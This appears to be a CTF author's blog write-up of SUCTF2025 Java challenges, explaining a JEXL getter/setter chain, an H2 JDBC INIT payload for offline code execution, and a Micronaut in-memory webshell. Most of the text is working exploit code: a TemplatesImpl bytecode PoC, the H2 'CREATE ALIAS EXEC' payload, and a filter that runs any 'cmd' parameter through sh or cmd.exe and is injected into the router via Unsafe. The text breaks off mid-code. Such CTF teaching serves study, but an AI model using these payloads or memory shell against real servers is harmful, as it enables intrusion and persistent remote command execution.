yulate's blog

SUCTF2025 出题记录

2025-02-08 · 41 min read

SU_ez_solon

起源于偶尔挖到的一个链子(貌似已经在某篇文章里面提到了

[JDBC Gadget] <org.noear.solon.data.util.UnpooledDataSource: java.sql.Connection getConnection()>
 -> <java.sql.DriverManager: java.sql.Connection getConnection(java.lang.String)>

在结合上最近在实战中碰到的一个特殊环境,java 层面的无法执行任意命令,为了模拟这个环境本题采用了 securityManager 进行拦截

解题整体的思路非常的简单,在依赖中也可以明确的发现有 h2 和 jackson 依赖,从这也能推测得出出题人十之八九是要找一个 getter 到 jdbc 的链子,这一步用 codeql 或者其他的静态分析工具就会很快得出结果

第二步是对 securityManager 的绕过,这有两种思路
● 通过反序列化直接关闭 securityManager
● 写 so 加载进行二次利用

wp 就到这了,希望下次能给大家带来更好的题目

SU_ez_micronaut

0x01 micronaut 序列化特性

Micronaut Serialization 是一个允许将对象序列化和反序列化为 JSON 等常见序列化格式的库

jackson反序列化,但是在micronaut中不能将任意对象序列化或反序列化为 JSON,使用 Micronaut 序列化,要允许类型被序列化或反序列化,必须执行以下操作之一:

  1. 在源代码中的类型级别声明 @Serdeable 注解,以允许类型被序列化或反序列化。
  2. 如果无法修改源代码,且该类型是外部类型,则可以使用 @SerdeImport 来导入该类型。请注意,这种方法只考虑公共成员。
  3. 为序列化定义一个 Serializer 类型的 Bean 和/或为反序列化定义一个 Deserializer 类型的 Bean。

在该题中只有一个bean类被允许反序列化

user类被@JsonFilter(”key-filter”)注解修饰,micronaut中可以自定义自定义属性过滤器,找到对应的属性过滤器代码如下

其中代码分成两个部分,第一个部分是自定义属性过滤器的实现代码,判断反序列化的bean是否为User类,如果是的话检查传递的json键中是否包含key,包含的话使用base64解码,再使用<--->进行分割字符串,分割结果为三个部分,大致功能如下:

  1. 使用gson将json反序列化为字符串,结果作为checkKey的第一个参数
  2. 作为checkKey方法的第二个参数
  3. 检测第三部分是否为admin字符串

checkKey方法主要的作用是调用jexl引擎执行表达式,并且上下文和表达式都是我们可以控制的内容

0x02 Jexl 表达式任意getter、setter调用

原理在于处理表达式的时候会调用对应field的对应getter方法

SimpleEvaluationContext 条件下spel注入 - 先知社区 (aliyun.com)

poc

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.jexl3.*;

import java.lang.reflect.Field;

public class Test {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("EvilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\"open /System/Applications/Calculator.app\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "akka1" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        byte[] evilCode = cc.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        eval(templates, "outputProperties");
    }

    public static Object eval(Object root, String expr) {
        // 创建 JEXL 引擎
        JexlEngine jexl = new JexlBuilder().create();

        // 创建表达式
        JexlExpression jexlExpr = jexl.createExpression(expr);

        // 创建上下文,并将 root 对象包装在 ObjectContext 中
        JexlContext context = new ObjectContext<>(jexl, root);

        // 评估表达式
        return jexlExpr.evaluate(context);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

debug调试

在对应get方法下断点可以获得如下调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:64, PropertyGetExecutor (org.apache.commons.jexl3.internal.introspection)
get:66, ObjectContext (org.apache.commons.jexl3)
getVariable:319, InterpreterBase (org.apache.commons.jexl3.internal)
visit:1048, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:118, ASTIdentifier (org.apache.commons.jexl3.parser)
visit:1029, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:58, ASTJexlScript (org.apache.commons.jexl3.parser)
interpret:193, Interpreter (org.apache.commons.jexl3.internal)
execute:188, Script (org.apache.commons.jexl3.internal)
evaluate:180, Script (org.apache.commons.jexl3.internal)
eval:45, Test (com.example)
main:30, Test (com.example)

核心代码在org.apache.commons.jexl3.internal.InterpreterBase#getVariable方法中,在getVariable方法中调用了上下文中的get方法,name值为我们传递的表达式

进一步跟入调用的org.apache.commons.jexl3.ObjectContext#get方法

调用getPropertyGet来获取 this.object 对象中名为 name 的属性的 getter 方法

获取method

最后在get方法中invoke调用该方法

深入研究

在查看进行调试的时候能够发现在get之外还有has和set两个方法,可能也同样存在着类似的问题

任意setter调用

调用栈

setAddress:48, Person (com.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:89, PropertySetExecutor (org.apache.commons.jexl3.internal.introspection)
set:81, ObjectContext (org.apache.commons.jexl3)
setContextVariable:351, InterpreterBase (org.apache.commons.jexl3.internal)
executeAssign:1347, Interpreter (org.apache.commons.jexl3.internal)
visit:1239, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:19, ASTAssignment (org.apache.commons.jexl3.parser)
visit:1029, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:58, ASTJexlScript (org.apache.commons.jexl3.parser)
interpret:193, Interpreter (org.apache.commons.jexl3.internal)
execute:188, Script (org.apache.commons.jexl3.internal)
evaluate:180, Script (org.apache.commons.jexl3.internal)
eval:66, Test (com.example)
setter:26, Test (com.example)
main:18, Test (com.example)

org.apache.commons.jexl3.internal.InterpreterBase#setContextVariable

原理和任意getter调用一致

在理解了如上部分就能继续往下做题,从剩下的代码中寻找可用的类进行调用,主要目标集中在getter和setter中,很容易就能找到BeanUtil类,其中最可用的方法为getUnsafeInstance,setUrl方法可以触发反序列化,但在jdk17中无法使用templatesImpl类,并且赛题不出网,需要打内存马进行利用,这里不太适合,但也是可以考虑的点

package hello.micronaut.utils;

import sun.misc.Unsafe;

import javax.imageio.ImageIO;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.awt.image.BufferedImage;

public class BeanUtil {

    private String url;
    private String p;
    private String n;
    private Object d;

    public BeanUtil() {
    }

    public BufferedImage setImage(String imageUrl) {
        BufferedImage image = null;
        try {
            URL url = new URL(imageUrl);
            // 创建一个 URLClassLoader 用于加载资源
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
            urlClassLoader.loadClass(this.n);
            image = ImageIO.read(urlClassLoader.getResource(url.getPath()));
        } catch (MalformedURLException e) {
            System.err.println("URL 格式不正确: " + e.getMessage());
        } catch (IOException e) {
            System.err.println("无法加载图片: " + e.getMessage());
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        return image;
    }

    public String getUrl() {
        System.out.println("getter !!!");
        return url;
    }

    public void setUrl(String url) throws Exception {
        System.out.println("setUrl !!!" + url);
        if (url.contains("http")) {
            this.url = url;
        } else {
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(url.getBytes());
            ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);
            Object object = inputStream.readObject();
            this.url = object.toString();
        }
    }

    public void setU(String u) throws Exception {
        Unsafe unsafe = getUnsafeInstance();
        Class<?> clazz = Class.forName(u);
        Object instance = unsafe.allocateInstance(clazz);
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.forName(this.n));
        constructor.setAccessible(true);
        instance = constructor.newInstance(this.d);
    }

    // 获取Unsafe实例的方法
    private static Unsafe getUnsafeInstance() {
        try {
            Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            return (Unsafe) unsafeField.get(null);
        } catch (Exception e) {
            throw new RuntimeException("Unable to access Unsafe instance", e);
        }
    }

    public String getP() {
        return p;
    }

    public void setP(String p) {
        this.p = p;
    }

    public Object getD() {
        return d;
    }

    public void setD(Object d) {
        this.d = d;
    }

    public String getN() {
        return n;
    }

    public void setN(String n) {
        this.n = n;
    }
}

getUnsafeInstance该方法主要的功能为使用unsafe反射调用任意构造函数,并且参数和参数类型为BeanUtil类中的属性,属性都存在对应的getter、setter方法,可以使用jexl表达式的特性为其赋值,这里需要使用特殊的写法来同时为多个值设置属性,现在可以写出大概如下的表达式

[n='1',d='1',u='']

需要注意的是赋值会按照表达式排列的顺序进行,如果顺序错误会导致反射失败

0x03 h2 jdbc 任意代码执行

在高版本的jdk利用中主流的打法就是采用jdbc相关的漏洞,并且在赛题中存在h2的依赖

需要进行考虑的一点就是如何在不出网的情况下进行利用,网络上常见的打法都是采用加载远程sql文件执行rce,不过可以在一篇文章中找到如何进行不出网的利用

Java安全攻防之老版本Fastjson的一些不出网利用 (qq.com)

第二届 AliyunCTF chain17复现 | Bmth's blog (bmth666.cn)

为什么需要RUNSCRIPT? 按照网上的说法是: 1、H2 RCE分为两个步骤,需要先创建代码执行方法,再通过EXEC执行该方法 2、H2 init所使用的session.prepareCommand不支持执行多条SQL语句

其实并不需要 RUNSCRIPT 出网加载,prepareCommand本身是支持多条SQL语句执行:(仅需要将分号转义即可)

h2 不出网payload:

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('calc')\;

结合上述,现在可以构造出如下payload

[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS \\'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}\\'\\;CALL EXEC (\\'open -a Calculator\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']

该payload可以成功弹出计算器,但赛题不出网,需要探究在micronaut框架如何打入内存马

0x04 micronaut 内存马探索

如果有tomcat或spring内存马学习经验的话可以很明确的整理出如果想从零挖掘一个内存马的具体步骤,我将其具体分为三个部分

  1. 获取context上下文
    1. 通过线程进行获取
    2. 通过分析micronaut框架流程获取关键类属性
  2. 分析常见类型内存马可加载类运行流程
    1. filter
    2. listener
    3. controller
    4. ……
  3. 将第二步生成的恶意类加载到context上下文中

下文将按照上述三个部分来具体表现如何挖掘一个新的内存马

获取context上下文

获取context通用的手段一般都是从当前请求线程中获取,在以前的话需要自己手工进行分析,c0ny1师傅开发了一款很方便的工具,能够在内存中快速搜索出想要的对象

https://github.com/c0ny1/java-object-searcher

先需要clone项目编译出jar包,再将编译好的jar包添加进需要分析的项目作为lib,做好前期准备后就可以编写调用代码搜索目标对象,先尝试搜索出request对象,在idea中debug运行需要分析的项目,Evaluate

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp");
searcher.searchObject();

在tmp目录下可以拿到分析的结果,这里选择最短的两条来进行展示

TargetObject = {io.micronaut.http.netty.channel.NettyThreadFactory$NonBlockingFastThreadLocalThread}
  ---> threadLocalMap = {io.netty.util.internal.InternalThreadLocalMap}
   ---> indexedVariables = {class [Ljava.lang.Object;}
    ---> [10] = {io.micronaut.core.propagation.PropagatedContextImpl}
     ---> elements = {class [Lio.micronaut.core.propagation.PropagatedContextElement;}
      ---> [0] = {io.micronaut.http.context.ServerHttpRequestContext}

TargetObject = {io.micronaut.http.netty.channel.NettyThreadFactory$NonBlockingFastThreadLocalThread}
  ---> threadLocalMap = {io.netty.util.internal.InternalThreadLocalMap}
   ---> indexedVariables = {class [Ljava.lang.Object;}
    ---> [10] = {io.micronaut.core.propagation.PropagatedContextImpl}
     ---> elements = {class [Lio.micronaut.core.propagation.PropagatedContextElement;}
      ---> [0] = {io.micronaut.http.context.ServerHttpRequestContext}
       ---> httpRequest = {io.micronaut.http.server.netty.NettyHttpRequest}

debug查看

最终的httpRequest确实和分析出的堆栈一致,编写代码获取该对象

try {
    // 获取Unsafe实例
    Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    Unsafe unsafe = (Unsafe) unsafeField.get(null);

    // 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
    Thread currentThread = Thread.currentThread();

    // 检查是否是Netty的线程类型
    if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
        // 获取threadLocalMap字段的偏移量
        Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
        long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

        // 使用Unsafe获取threadLocalMap字段的值
        InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);
        System.out.println("ThreadLocalMap: " + threadLocalMap);

        // 获取threadLocalMap中的indexedVariables
        Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
        indexedVariablesField.setAccessible(true);
        Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

        // 获取索引为10的变量
        Object indexedVariable = indexedVariables[10];

        // 确认indexedVariable是PropagatedContextImpl类型
        if (indexedVariable != null && indexedVariable.getClass().getName().contains("PropagatedContextImpl")) {
            // 获取PropagatedContextImpl的elements属性
            Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
            elementsField.setAccessible(true);
            PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

            PropagatedContextElement element = elements[0];

            // 反射获取element的httpRequest属性
            if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
                // 获取ServerHttpRequestContext类中的httpRequest字段
                Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
                httpRequestField.setAccessible(true);
                NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);
                
            } else {
                System.out.println("element不是ServerHttpRequestContext类型。");
            }
        } else {
            System.out.println("Indexed variable is not of type PropagatedContextImpl.");
        }

    } else {
        System.out.println("当前线程不是Netty的线程类型。");
    }

} catch (Exception e) {
    e.printStackTrace();
}

在jdk17中反射存在很大的限制无法直接使用,可以通过unsafe绕过这个限制,运行代码获取到结果

到获取到request对象后可以直接修改response进行简单回显

NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);
ChannelHandlerContext channelHandlerContext = httpRequest.getChannelHandlerContext();

FullHttpResponse response = new DefaultFullHttpResponse(
        HttpVersion.HTTP_1_1,
        HttpResponseStatus.OK,
        Unpooled.copiedBuffer("{\"message\":\"hacked !!!!\"}", CharsetUtil.UTF_8)
);
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/json");
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
channelHandlerContext.writeAndFlush(response);

可以将执行命令的结果写到response中,当前请求的request body展示的即为结果。

简单回显已经可以解出该题,剩下filter内存马部分作为学习补充。

filter 注册流程分析

按照文档添加一个新的filter进行debug

package hello.micronaut.config;

import io.micronaut.core.annotation.Order;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.MutableHttpResponse;
import io.micronaut.http.annotation.Filter;
import io.micronaut.http.filter.HttpServerFilter;
import io.micronaut.http.filter.ServerFilterChain;
import org.reactivestreams.Publisher;

@Filter("/**")
@Order(10)
public class CustomHttpFilter implements HttpServerFilter {
    @Override
    public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
        System.out.println("Filtering request: " + request.getPath());
        return chain.proceed(request);
    }
}

在sout行打上断点,随便请求一个路由就能成功断下,获取到重要部分的堆栈

doFilter:16, CustomHttpFilter (hello.micronaut.config)
doFilter:48, HttpServerFilter (io.micronaut.http.filter)
processRequestFilter:75, AroundLegacyFilter (io.micronaut.http.filter)
filterRequest:276, FilterRunner (io.micronaut.http.filter)
run:247, FilterRunner (io.micronaut.http.filter)
runServerFilters:422, RequestLifecycle (io.micronaut.http.server)
normalFlow:160, RequestLifecycle (io.micronaut.http.server)
handleNormal:93, NettyRequestLifecycle (io.micronaut.http.server.netty)
accept:235, RoutingInBoundHandler (io.micronaut.http.server.netty)
read:415, PipeliningServerHandler$MessageInboundHandler (io.micronaut.http.server.netty.handler)
channelRead:221, PipeliningServerHandler (io.micronaut.http.server.netty.handler)
invokeChannelRead:444, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:420, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:412, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)
fireChannelRead:346, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:318, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:442, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:420, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:412, AbstractChannelHandlerContext (io.netty.channel)
channelRead:289, IdleStateHandler (io.netty.handler.timeout)
invokeChannelRead:442, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:420, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:412, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1357, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:440, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:420, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:868, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:788, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:724, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:650, NioEventLoop (io.netty.channel.nio)
run:562, NioEventLoop (io.netty.channel.nio)
run:997, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:840, Thread (java.lang)

逆向回溯堆栈处理的逻辑会看到如下部分

InternalHttpFilter filter = iterator.next(); 中保存的就是当前获取到的filter

继续寻找调用filterRequest方法的位置

io.micronaut.http.filter.FilterRunner#run(io.micronaut.http.HttpRequest<?>, io.micronaut.core.propagation.PropagatedContext)方法中存在如下两行代码

filtersToRun = filterFilters(findInternalFiltersAfterRouteMatch(request), request);
iterator = filtersToRun.listIterator();

这两行代码计算出了全部的filter,在这一行上打上断点,重新运行,点击步入到findInternalFiltersAfterRouteMatch 方法

routeExecutor.router 属性的类型为DefaultRouter,对其调用findFilters方法

在findFilters方法中主要是通过条件进行筛选出匹配当前request对象的filter,其中线判断特殊filter是否为空,如果为空的话则直接从通用filter alwaysMatchesHttpFilters 属性中获取全部的值return,在alwaysMatchesHttpFilters.get() 打上断点,重新请求分析

always获取的结果是一个arraylist数组,其中包含了三个filter,两个MethodFilter,一个我们自己定义的AroundLegacyFilter

AroundLegacyFilter存在两个属性,第一个bean属性中保存的是我们自己定义的filter,第二个属性定义的是当前filter过滤器的优先值。

梳理一下当前我们所分析得到的信息

  • filter都是保存在DefaultRouter类中的alwaysMatchesHttpFilers属性中
  • 自定义filter类型为AroundLegacyFilter
    • bean属性为filter
    • order为优先级

注入filter内存马

还是一样需要获取上下文再进行注入,前文中通过object-seacher获取到了rquest对象,这里在尝试获取DefaultRouter类的对象

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
//keys.add(new Keyword.Builder().setField_type("context").build());
keys.add(new Keyword.Builder().setField_type("defaultRouter").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/find2/");
searcher.searchObject();

分析结果如下

TargetObject = {io.micronaut.http.netty.channel.NettyThreadFactory$NonBlockingFastThreadLocalThread}
  ---> threadLocalMap = {io.netty.util.internal.InternalThreadLocalMap}
   ---> indexedVariables = {class [Ljava.lang.Object;}
    ---> [10] = {io.micronaut.core.propagation.PropagatedContextImpl}
     ---> elements = {class [Lio.micronaut.core.propagation.PropagatedContextElement;}
      ---> [0] = {io.micronaut.http.context.ServerHttpRequestContext}
       ---> httpRequest = {io.micronaut.http.server.netty.NettyHttpRequest}
        ---> channelHandlerContext = {io.netty.channel.DefaultChannelHandlerContext}
         ---> handler = {io.micronaut.http.server.netty.handler.PipeliningServerHandler}
          ---> requestHandler = {io.micronaut.http.server.netty.RoutingInBoundHandler}
           ---> routeExecutor = {io.micronaut.http.server.RouteExecutor}
            ---> router = {io.micronaut.web.router.DefaultRouter}

编写代码尝试获取

try {
    // 获取Unsafe实例
    Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    Unsafe unsafe = (Unsafe) unsafeField.get(null);

    // 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
    Thread currentThread = Thread.currentThread();

    // 检查是否是Netty的线程类型
    if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
        // 获取threadLocalMap字段的偏移量
        Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
        long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

        // 使用Unsafe获取threadLocalMap字段的值
        InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);

        // 获取threadLocalMap中的indexedVariables
        Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
        indexedVariablesField.setAccessible(true);
        Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

        // 获取索引为10的变量
        Object indexedVariable = indexedVariables[10];

        // 确认indexedVariable是PropagatedContextImpl类型
        if (indexedVariable != null && indexedVariable.getClass().getName().contains("PropagatedContextImpl")) {
            // 获取PropagatedContextImpl的elements属性
            Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
            elementsField.setAccessible(true);
            PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

            PropagatedContextElement element = elements[0];

            // 反射获取element的httpRequest属性
            if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
                // 获取ServerHttpRequestContext类中的httpRequest字段
                Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
                httpRequestField.setAccessible(true);
                NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);

                // 获取channelHandlerContext属性
                Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext");
                channelHandlerContextField.setAccessible(true);
                Object channelHandlerContext = channelHandlerContextField.get(httpRequest);

                // 获取handler属性
                Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler");
                handlerField.setAccessible(true);
                Object handler = handlerField.get(channelHandlerContext);

                // 获取requestHandler属性
                Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler");
                requestHandlerField.setAccessible(true);
                Object requestHandler = requestHandlerField.get(handler);

                // 获取routeExecutor属性
                Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor");
                routeExecutorField.setAccessible(true);
                RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler);

                // 获取router属性
                Field routerField = routeExecutor.getClass().getDeclaredField("router");
                routerField.setAccessible(true);
                DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor);

            } else {
                System.out.println("element不是ServerHttpRequestContext类型。");
            }
        } else {
            System.out.println("Indexed variable is not of type PropagatedContextImpl.");
        }

    } else {
        System.out.println("当前线程不是Netty的线程类型。");
    }

} catch (Exception e) {
    e.printStackTrace();
}

成功拿到DefaultRouter对象,其中就存在我们需要的alwaysMatchesHttpFilers属性

接下来需要编写代码创建一个新的AroundLegacyFilter再将其添加到alwaysMatchesHttpFilers.value中

AroundLegacyFilter类没有public修饰符,构造方法有两个参数,第一个为HttpFilter类型的bean,第二个为FilterOrder类型的order。

先构造一个自定义HttpFiler,在一开始调试时候构造的filter实现的接口类HttpServerFilter继承了HttpFilter,所以实现一个恶意filter也只需要new一个HttpServerFilter的实例并实现对应的方法即可,这里直接给出代码

// 创建HttpFilter实例
HttpServerFilter hackedFilter = new HttpServerFilter() {
    @Override
    public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
        String cmd = request.getParameters().get("cmd");
        String output = "";
        try {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            output = s.hasNext() ? s.next() : "";
        } catch (IOException ioe) {
            ioe.printStackTrace();
        }

        String finalOutput = output;
        String sanitizedOutput = finalOutput.replaceAll("[\\r\\n]", "");
        return Flux.from(chain.proceed(request))
                .doOnNext(response -> {
										// response.getHeaders().add("X-Trace-Enabled", sanitizedOutput);
                    response.body(finalOutput);
                });
    }
};

再构造FilterOrder类

FilterOrder接口有两个内部实现类,选择其中一个实例化再设置优先级即可,优先级数值越小优先级越高

// 创建一个Dynamic FilterOrder实例,回退排序值为0
FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

再往下构造AroundLegacyFilter实例,AroundLegacyFilter类没有public修饰符,需要使用反射进行实例化

// 获取AroundLegacyFilter类
Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter");

// 使用Unsafe分配AroundLegacyFilter的实例
Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass);

// 获取AroundLegacyFilter的构造函数
Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class);
constructor.setAccessible(true);  // 允许访问私有构造方法

// 创建HttpFilter实例
HttpServerFilter hackedFilter = new HttpServerFilter() {
    @Override
    public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
        String cmd = request.getParameters().get("cmd");
        String output = "";
        try {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            output = s.hasNext() ? s.next() : "";
        } catch (IOException ioe) {
            ioe.printStackTrace();
        }


        String finalOutput = output;
        String sanitizedOutput = finalOutput.replaceAll("[\\r\\n]", "");
        return Flux.from(chain.proceed(request))
                .doOnNext(response -> {
//                                            response.getHeaders().add("X-Trace-Enabled", sanitizedOutput);
                    response.body(finalOutput);
                });
    }
};

// 创建一个Dynamic FilterOrder实例,回退排序值为0
FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

// 调用构造函数初始化实例
Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder);

再从DefaultRouter实例中获取alwaysMatchesHttpFilers属性,将新的AroundLegacyFilter实例添加到其中,再反射修改回DefaultRouter对象,最终代码如下:

package hello.micronaut.config;

import io.micronaut.core.propagation.PropagatedContextElement;
import io.micronaut.core.util.SupplierUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.MutableHttpResponse;
import io.micronaut.http.filter.*;
import io.micronaut.http.server.RouteExecutor;
import io.micronaut.http.server.netty.NettyHttpRequest;
import io.micronaut.web.router.DefaultRouter;
import io.netty.util.internal.InternalThreadLocalMap;
import org.reactivestreams.Publisher;
import sun.misc.Unsafe;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.function.Supplier;

import reactor.core.publisher.Flux;


public class EvilFilter {

    static {
        try {
            // 获取Unsafe实例
            Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
